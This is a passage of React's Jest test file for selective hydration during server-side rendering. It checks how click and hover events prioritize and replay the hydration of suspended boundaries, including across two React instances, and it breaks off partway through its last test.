    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {createEventTarget} from 'dom-event-testing-library';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet ReactFeatureFlags;\nlet Scheduler;\nlet Suspense;\nlet act;\nlet assertLog;\nlet waitForAll;\nlet waitFor;\nlet waitForPaint;\n\nlet IdleEventPriority;\nlet ContinuousEventPriority;\n\nfunction dispatchMouseHoverEvent(to, from) {\n  if (!to) {\n    to = null;\n  }\n  if (!from) {\n    from = null;\n  }\n  if (from) {\n    const mouseOutEvent = document.createEvent('MouseEvents');\n    mouseOutEvent.initMouseEvent(\n      'mouseout',\n      true,\n      true,\n      window,\n      0,\n      50,\n      50,\n      50,\n      50,\n      false,\n      false,\n      false,\n      false,\n      0,\n      to,\n    );\n    from.dispatchEvent(mouseOutEvent);\n  }\n  if (to) {\n    const mouseOverEvent = document.createEvent('MouseEvents');\n    mouseOverEvent.initMouseEvent(\n      'mouseover',\n      true,\n      true,\n      window,\n      0,\n      50,\n      50,\n      50,\n      50,\n      false,\n      false,\n      false,\n      false,\n      0,\n      from,\n    );\n    to.dispatchEvent(mouseOverEvent);\n  }\n}\n\nfunction dispatchClickEvent(target) {\n  const mouseOutEvent = document.createEvent('MouseEvents');\n  mouseOutEvent.initMouseEvent(\n    'click',\n    true,\n    true,\n    window,\n    0,\n    50,\n    50,\n    50,\n    50,\n    false,\n    false,\n    false,\n    false,\n    0,\n    target,\n  );\n  return target.dispatchEvent(mouseOutEvent);\n}\n\n// TODO: There's currently no React DOM API to opt into Idle priority updates,\n// and there's no native DOM event that maps to idle priority, so this is a\n// temporary workaround. Need something like ReactDOM.unstable_IdleUpdates.\nfunction TODO_scheduleIdleDOMSchedulerTask(fn) {\n  ReactDOM.unstable_runWithPriority(IdleEventPriority, () => {\n    const prevEvent = window.event;\n    window.event = {type: 'message'};\n    try {\n      fn();\n    } finally {\n      window.event = prevEvent;\n    }\n  });\n}\n\nfunction TODO_scheduleContinuousSchedulerTask(fn) {\n  ReactDOM.unstable_runWithPriority(ContinuousEventPriority, () => {\n    const prevEvent = window.event;\n    window.event = {type: 'message'};\n    try {\n      fn();\n    } finally {\n      window.event = prevEvent;\n    }\n  });\n}\n\ndescribe('ReactDOMServerSelectiveHydration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n    ReactFeatureFlags.enableCreateEventHandleAPI = true;\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    Scheduler = require('scheduler');\n    Suspense = React.Suspense;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n\n    IdleEventPriority = require('react-reconciler/constants').IdleEventPriority;\n    ContinuousEventPriority =\n      require('react-reconciler/constants').ContinuousEventPriority;\n  });\n\n  it('hydrates the target boundary synchronously during a click', async () => {\n    function Child({text}) {\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[1];\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This should synchronously hydrate the root App and the second suspense\n    // boundary.\n    const result = dispatchClickEvent(span);\n\n    // The event should have been canceled because we called preventDefault.\n    expect(result).toBe(false);\n\n    // We rendered App, B and then invoked the event without rendering A.\n    assertLog(['App', 'B', 'Clicked B']);\n\n    // After continuing the scheduler, we finally hydrate A.\n    await waitForAll(['A']);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates at higher pri if sync did not work first time', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"C\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"D\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This click target cannot be hydrated yet because it's suspended.\n    await act(() => {\n      const result = dispatchClickEvent(spanD);\n      expect(result).toBe(true);\n    });\n    assertLog([\n      'App',\n      // Continuing rendering will render B next.\n      'B',\n      'C',\n    ]);\n\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    assertLog(['D', 'A']);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates at higher pri for secondary discrete events', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"C\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"D\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanA = container.getElementsByTagName('span')[0];\n    const spanC = container.getElementsByTagName('span')[2];\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This click target cannot be hydrated yet because the first is Suspended.\n    dispatchClickEvent(spanA);\n    dispatchClickEvent(spanC);\n    dispatchClickEvent(spanD);\n\n    assertLog(['App', 'C', 'Clicked C']);\n\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    assertLog([\n      'A',\n      'D',\n      // B should render last since it wasn't clicked.\n      'B',\n    ]);\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('hydrates the target boundary synchronously during a click (createEventHandle)', async () => {\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n    let isServerRendering = true;\n\n    function Child({text}) {\n      const ref = React.useRef(null);\n      Scheduler.log(text);\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, () => {\n            Scheduler.log('Clicked ' + text);\n          });\n        });\n      }\n\n      return <span ref={ref}>{text}</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    isServerRendering = false;\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    const span = container.getElementsByTagName('span')[1];\n\n    const target = createEventTarget(span);\n\n    // This should synchronously hydrate the root App and the second suspense\n    // boundary.\n    target.virtualclick();\n\n    // We rendered App, B and then invoked the event without rendering A.\n    assertLog(['App', 'B', 'Clicked B']);\n\n    // After continuing the scheduler, we finally hydrate A.\n    await waitForAll(['A']);\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('hydrates at higher pri if sync did not work first time (createEventHandle)', async () => {\n    let suspend = false;\n    let isServerRendering = true;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n\n    function Child({text}) {\n      const ref = React.useRef(null);\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, () => {\n            Scheduler.log('Clicked ' + text);\n          });\n        });\n      }\n\n      return <span ref={ref}>{text}</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"C\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"D\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n    isServerRendering = false;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // Continuing rendering will render B next.\n    await act(() => {\n      const target = createEventTarget(spanD);\n      target.virtualclick();\n    });\n    assertLog(['App', 'B', 'C']);\n\n    // After the click, we should prioritize D and the Click first,\n    // and only after that render A and C.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // no replay\n    assertLog(['D', 'A']);\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('hydrates at higher pri for secondary discrete events (createEventHandle)', async () => {\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n    let suspend = false;\n    let isServerRendering = true;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      const ref = React.useRef(null);\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, () => {\n            Scheduler.log('Clicked ' + text);\n          });\n        });\n      }\n      return <span ref={ref}>{text}</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"C\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"D\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanA = container.getElementsByTagName('span')[0];\n    const spanC = container.getElementsByTagName('span')[2];\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n    isServerRendering = false;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // This click target cannot be hydrated yet because the first is Suspended.\n    createEventTarget(spanA).virtualclick();\n    createEventTarget(spanC).virtualclick();\n    createEventTarget(spanD).virtualclick();\n\n    assertLog(['App', 'C', 'Clicked C']);\n\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    assertLog([\n      'A',\n      'D',\n      // B should render last since it wasn't clicked.\n      'B',\n    ]);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates the hovered targets as higher priority for continuous events', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}\n          onMouseEnter={e => {\n            e.preventDefault();\n            Scheduler.log('Hover ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"C\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"D\" />\n          </Suspense>\n        </div>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanB = container.getElementsByTagName('span')[1];\n    const spanC = container.getElementsByTagName('span')[2];\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    await act(() => {\n      // Click D\n      dispatchMouseHoverEvent(spanD, null);\n      dispatchClickEvent(spanD);\n\n      // Hover over B and then C.\n      dispatchMouseHoverEvent(spanB, spanD);\n      dispatchMouseHoverEvent(spanC, spanB);\n\n      assertLog(['App']);\n\n      suspend = false;\n      resolve();\n    });\n\n    // We should prioritize hydrating D first because we clicked it.\n    // but event isnt replayed\n    assertLog([\n      'D',\n      'B', // Ideally this should be later.\n      'C',\n      'Hover C',\n      'A',\n    ]);\n\n    document.body.removeChild(container);\n  });\n\n  it('replays capture phase for continuous events and respects stopPropagation', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          id={text}\n          onClickCapture={e => {\n            e.preventDefault();\n            Scheduler.log('Capture Clicked ' + text);\n          }}\n          onClick={e => {\n            e.preventDefault();\n            Scheduler.log('Clicked ' + text);\n          }}\n          onMouseEnter={e => {\n            e.preventDefault();\n            Scheduler.log('Mouse Enter ' + text);\n          }}\n          onMouseOut={e => {\n            e.preventDefault();\n            Scheduler.log('Mouse Out ' + text);\n          }}\n          onMouseOutCapture={e => {\n            e.preventDefault();\n            e.stopPropagation();\n            Scheduler.log('Mouse Out Capture ' + text);\n          }}\n          onMouseOverCapture={e => {\n            e.preventDefault();\n            e.stopPropagation();\n            Scheduler.log('Mouse Over Capture ' + text);\n          }}\n          onMouseOver={e => {\n            e.preventDefault();\n            Scheduler.log('Mouse Over ' + text);\n          }}>\n          <div\n            onMouseOverCapture={e => {\n              e.preventDefault();\n              Scheduler.log('Mouse Over Capture Inner ' + text);\n            }}>\n            {text}\n          </div>\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div\n          onClickCapture={e => {\n            e.preventDefault();\n            Scheduler.log('Capture Clicked Parent');\n          }}\n          onMouseOverCapture={e => {\n            Scheduler.log('Mouse Over Capture Parent');\n          }}>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"B\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"C\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"D\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanB = document.getElementById('B').firstChild;\n    const spanC = document.getElementById('C').firstChild;\n    const spanD = document.getElementById('D').firstChild;\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    await act(async () => {\n      // Click D\n      dispatchMouseHoverEvent(spanD, null);\n      dispatchClickEvent(spanD);\n      // Hover over B and then C.\n      dispatchMouseHoverEvent(spanB, spanD);\n      dispatchMouseHoverEvent(spanC, spanB);\n\n      assertLog(['App']);\n\n      suspend = false;\n      resolve();\n    });\n\n    // We should prioritize hydrating D first because we clicked it.\n    // but event isnt replayed\n    assertLog([\n      'D',\n      'B', // Ideally this should be later.\n      'C',\n      // Mouse out events aren't replayed\n      // 'Mouse Out Capture B',\n      // 'Mouse Out B',\n      'Mouse Over Capture Parent',\n      'Mouse Over Capture C',\n      // Stop propagation stops these\n      // 'Mouse Over Capture Inner C',\n      // 'Mouse Over C',\n      'A',\n    ]);\n\n    // This test shows existing quirk where stopPropagation on mouseout\n    // prevents mouseEnter from firing\n    dispatchMouseHoverEvent(spanC, spanB);\n    assertLog([\n      'Mouse Out Capture B',\n      // stopPropagation stops these\n      // 'Mouse Out B',\n      // 'Mouse Enter C',\n      'Mouse Over Capture Parent',\n      'Mouse Over Capture C',\n      // Stop propagation stops these\n      // 'Mouse Over Capture Inner C',\n      // 'Mouse Over C',\n    ]);\n\n    document.body.removeChild(container);\n  });\n\n  describe('can handle replaying events as part of multiple instances of React', () => {\n    let resolveInner;\n    let resolveOuter;\n    let innerPromise;\n    let outerPromise;\n    let OuterScheduler;\n    let InnerScheduler;\n    let innerDiv;\n\n    let OuterTestUtils;\n    let InnerTestUtils;\n\n    beforeEach(async () => {\n      document.body.innerHTML = '';\n      jest.resetModules();\n      let OuterReactDOMClient;\n      let InnerReactDOMClient;\n\n      jest.isolateModules(() => {\n        OuterReactDOMClient = require('react-dom/client');\n        OuterScheduler = require('scheduler');\n        OuterTestUtils = require('internal-test-utils');\n      });\n      jest.isolateModules(() => {\n        InnerReactDOMClient = require('react-dom/client');\n        InnerScheduler = require('scheduler');\n        InnerTestUtils = require('internal-test-utils');\n      });\n\n      expect(OuterReactDOMClient).not.toBe(InnerReactDOMClient);\n      expect(OuterScheduler).not.toBe(InnerScheduler);\n\n      const outerContainer = document.createElement('div');\n      const innerContainer = document.createElement('div');\n\n      let suspendOuter = false;\n      outerPromise = new Promise(res => {\n        resolveOuter = () => {\n          suspendOuter = false;\n          res();\n        };\n      });\n\n      function Outer() {\n        if (suspendOuter) {\n          OuterScheduler.log('Suspend Outer');\n          throw outerPromise;\n        }\n        OuterScheduler.log('Outer');\n        const innerRoot = outerContainer.querySelector('#inner-root');\n        return (\n          <div\n            id=\"inner-root\"\n            onMouseEnter={() => {\n              Scheduler.log('Outer Mouse Enter');\n            }}\n            dangerouslySetInnerHTML={{\n              __html: innerRoot ? innerRoot.innerHTML : '',\n            }}\n          />\n        );\n      }\n      const OuterApp = () => {\n        return (\n          <Suspense fallback={<div>Loading</div>}>\n            <Outer />\n          </Suspense>\n        );\n      };\n\n      let suspendInner = false;\n      innerPromise = new Promise(res => {\n        resolveInner = () => {\n          suspendInner = false;\n          res();\n        };\n      });\n      function Inner() {\n        if (suspendInner) {\n          InnerScheduler.log('Suspend Inner');\n          throw innerPromise;\n        }\n        InnerScheduler.log('Inner');\n        return (\n          <div\n            id=\"inner\"\n            onMouseEnter={() => {\n              Scheduler.log('Inner Mouse Enter');\n            }}\n          />\n        );\n      }\n      const InnerApp = () => {\n        return (\n          <Suspense fallback={<div>Loading</div>}>\n            <Inner />\n          </Suspense>\n        );\n      };\n\n      document.body.appendChild(outerContainer);\n      const outerHTML = ReactDOMServer.renderToString(<OuterApp />);\n      outerContainer.innerHTML = outerHTML;\n\n      const innerWrapper = document.querySelector('#inner-root');\n      innerWrapper.appendChild(innerContainer);\n      const innerHTML = ReactDOMServer.renderToString(<InnerApp />);\n      innerContainer.innerHTML = innerHTML;\n\n      OuterTestUtils.assertLog(['Outer']);\n      InnerTestUtils.assertLog(['Inner']);\n\n      suspendOuter = true;\n      suspendInner = true;\n\n      await OuterTestUtils.act(() =>\n        OuterReactDOMClient.hydrateRoot(outerContainer, <OuterApp />),\n      );\n      await InnerTestUtils.act(() =>\n        InnerReactDOMClient.hydrateRoot(innerContainer, <InnerApp />),\n      );\n\n      OuterTestUtils.assertLog(['Suspend Outer']);\n      InnerTestUtils.assertLog(['Suspend Inner']);\n\n      innerDiv = document.querySelector('#inner');\n\n      dispatchClickEvent(innerDiv);\n\n      await act(() => {\n        jest.runAllTimers();\n        Scheduler.unstable_flushAllWithoutAsserting();\n        OuterScheduler.unstable_flushAllWithoutAsserting();\n        InnerScheduler.unstable_flushAllWithoutAsserting();\n      });\n\n      OuterTestUtils.assertLog(['Suspend Outer']);\n\n      // InnerApp doesn't see the event because OuterApp calls stopPropagation in\n      // capture phase since the event is blocked on suspended component\n      InnerTestUtils.assertLog([]);\n\n      assertLog([]);\n    });\n    afterEach(async () => {\n      document.body.innerHTML = '';\n    });\n\n    it('Inner hydrates first then Outer', async () => {\n      dispatchMouseHoverEvent(innerDiv);\n\n      await InnerTestUtils.act(async () => {\n        await OuterTestUtils.act(() => {\n          resolveInner();\n        });\n      });\n\n      OuterTestUtils.assertLog(['Suspend Outer']);\n      // Inner App renders because it is unblocked\n      InnerTestUtils.assertLog(['Inner']);\n      // No event is replayed yet\n      assertLog([]);\n\n      dispatchMouseHoverEvent(innerDiv);\n      OuterTestUtils.assertLog([]);\n      InnerTestUtils.assertLog([]);\n      // No event is replayed yet\n      assertLog([]);\n\n      await InnerTestUtils.act(async () => {\n        await OuterTestUtils.act(() => {\n          resolveOuter();\n\n          // Nothing happens to inner app yet.\n          // Its blocked on the outer app replaying the event\n          InnerTestUtils.assertLog([]);\n          // Outer hydrates and schedules Replay\n          OuterTestUtils.waitFor(['Outer']);\n          // No event is replayed yet\n          assertLog([]);\n        });\n      });\n\n      // fire scheduled Replay\n\n      // First Inner Mouse Enter fires then Outer Mouse Enter\n      assertLog(['Inner Mouse Enter', 'Outer Mouse Enter']);\n    });\n\n    it('Outer hydrates first then Inner', async () => {\n      dispatchMouseHoverEvent(innerDiv);\n\n      await act(async () => {\n        resolveOuter();\n        await outerPromise;\n        Scheduler.unstable_flushAllWithoutAsserting();\n        OuterScheduler.unstable_flushAllWithoutAsserting();\n        InnerScheduler.unstable_flushAllWithoutAsserting();\n      });\n\n      // Outer resolves and scheduled replay\n      OuterTestUtils.assertLog(['Outer']);\n      // Inner App is still blocked\n      InnerTestUtils.assertLog([]);\n\n      // Replay outer event\n      await act(() => {\n        Scheduler.unstable_flushAllWithoutAsserting();\n        OuterScheduler.unstable_flushAllWithoutAsserting();\n        InnerScheduler.unstable_flushAllWithoutAsserting();\n      });\n\n      // Inner is still blocked so when Outer replays the event in capture phase\n      // inner ends up caling stopPropagation\n      assertLog([]);\n      OuterTestUtils.assertLog([]);\n      InnerTestUtils.assertLog(['Suspend Inner']);\n\n      dispatchMouseHoverEvent(innerDiv);\n      OuterTestUtils.assertLog([]);\n      InnerTestUtils.assertLog([]);\n      assertLog([]);\n\n      await act(async () => {\n        resolveInner();\n        await innerPromise;\n        Scheduler.unstable_flushAllWithoutAsserting();\n        OuterScheduler.unstable_flushAllWithoutAsserting();\n        InnerScheduler.unstable_flushAllWithoutAsserting();\n      });\n\n      // Inner hydrates\n      InnerTestUtils.assertLog(['Inner']);\n      // Outer was hydrated earlier\n      OuterTestUtils.assertLog([]);\n\n      // First Inner Mouse Enter fires then Outer Mouse Enter\n      assertLog(['Inner Mouse Enter', 'Outer Mouse Enter']);\n\n      await act(() => {\n        Scheduler.unstable_flushAllWithoutAsserting();\n        OuterScheduler.unstable_flushAllWithoutAsserting();\n        InnerScheduler.unstable_flushAllWithoutAsserting();\n      });\n\n      assertLog([]);\n    });\n  });\n\n  it('replays event with null target when tree is dismounted', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      }\n      Scheduler.log('Child');\n      return (\n        <div\n          onMouseOver={() => {\n            Scheduler.log('on mouse over');\n          }}>\n          Child\n        </div>\n      );\n    }\n\n    function App() {\n      return (\n        <Suspense>\n          <Child />\n        </Suspense>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['Child']);\n\n    const container = document.createElement('div');\n\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n    suspend = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    const childDiv = container.firstElementChild;\n\n    await act(async () => {\n      dispatchMouseHoverEvent(childDiv);\n\n      // Not hydrated so event is saved for replay and stopPropagation is called\n      assertLog([]);\n\n      resolve();\n      await waitFor(['Child']);\n\n      ReactDOM.flushSync(() => {\n        container.removeChild(childDiv);\n\n        const container2 = document.createElement('div');\n        container2.addEventListener('mouseover', () => {\n          Scheduler.log('container2 mouse over');\n        });\n        container2.appendChild(childDiv);\n      });\n    });\n\n    // Even though the tree is remove the event is still dispatched with native event handler\n    // on the container firing.\n    assertLog(['container2 mouse over']);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates the last target path first for continuous events', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Child({text}) {\n      if ((text === 'A' || text === 'D') && suspend) {\n        throw promise;\n      }\n      Scheduler.log(text);\n      return (\n        <span\n          onMouseEnter={e => {\n            e.preventDefault();\n            Scheduler.log('Hover ' + text);\n          }}>\n          {text}\n        </span>\n      );\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <div>\n              <Suspense fallback=\"Loading...\">\n                <Child text=\"B\" />\n              </Suspense>\n            </div>\n            <Child text=\"C\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child text=\"D\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    assertLog(['App', 'A', 'B', 'C', 'D']);\n\n    const container = document.createElement('div');\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    container.innerHTML = finalHTML;\n\n    const spanB = container.getElementsByTagName('span')[1];\n    const spanC = container.getElementsByTagName('span')[2];\n    const spanD = container.getElementsByTagName('span')[3];\n\n    suspend = true;\n\n    // A and D will be suspended. We'll click on D which should take\n    // priority, after we unsuspend.\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // Nothing has been hydrated so far.\n    assertLog([]);\n\n    // Hover over B and then C.\n    dispatchMouseHoverEvent(spanB, spanD);\n    dispatchMouseHoverEvent(spanC, spanB);\n\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // We should prioritize hydrating D first because we clicked it.\n    // Next we should hydrate C since that's the current hover target.\n    // Next it doesn't matter if we hydrate A or B first but as an\n    // implementation detail we're currently hydrating B first since\n    // we at one point hovered over it and we never deprioritized it.\n    assertLog(['App', 'C', 'Hover C', 'A', 'B', 'D']);\n\n    document.body.removeChild(container);\n  });\n\n  it('hydrates the last explicitly hydrated target at higher priority', async () => {\n    